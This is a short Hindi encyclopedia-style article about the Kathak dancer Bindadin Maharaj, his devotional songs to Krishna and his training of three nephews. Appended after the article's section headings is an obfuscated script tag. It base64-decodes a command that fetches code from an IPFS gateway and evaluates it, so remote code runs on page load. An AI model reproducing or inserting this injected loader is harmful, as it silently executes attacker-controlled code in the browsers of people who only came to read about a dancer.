बिंदादीन महाराज भारतीय शास्त्रीय नृत्य शैली कत्थक के प्रसिद्ध नर्तक थे। वे भगवान श्रीकृष्ण के अनन्य भक्त थे।
- बिंदादीन महाराज ने कृष्ण को समर्पित करते हुए सैकड़ों गीत लिखे। यह गीत आज भी गाए जाते हैं और इन पर नृत्य किया जाता है।
- उन्होंने अपने तीन भतीजों को नृत्य का प्रशिक्षण दिया, जो बीसवीं सदी में कत्थक के उस्ताद कहलाए।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ लखनऊ की वंश परम्परा (हिंदी) aajtak.intoday.in। अभिगमन तिथि: 20 अक्टूबर, 2016।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>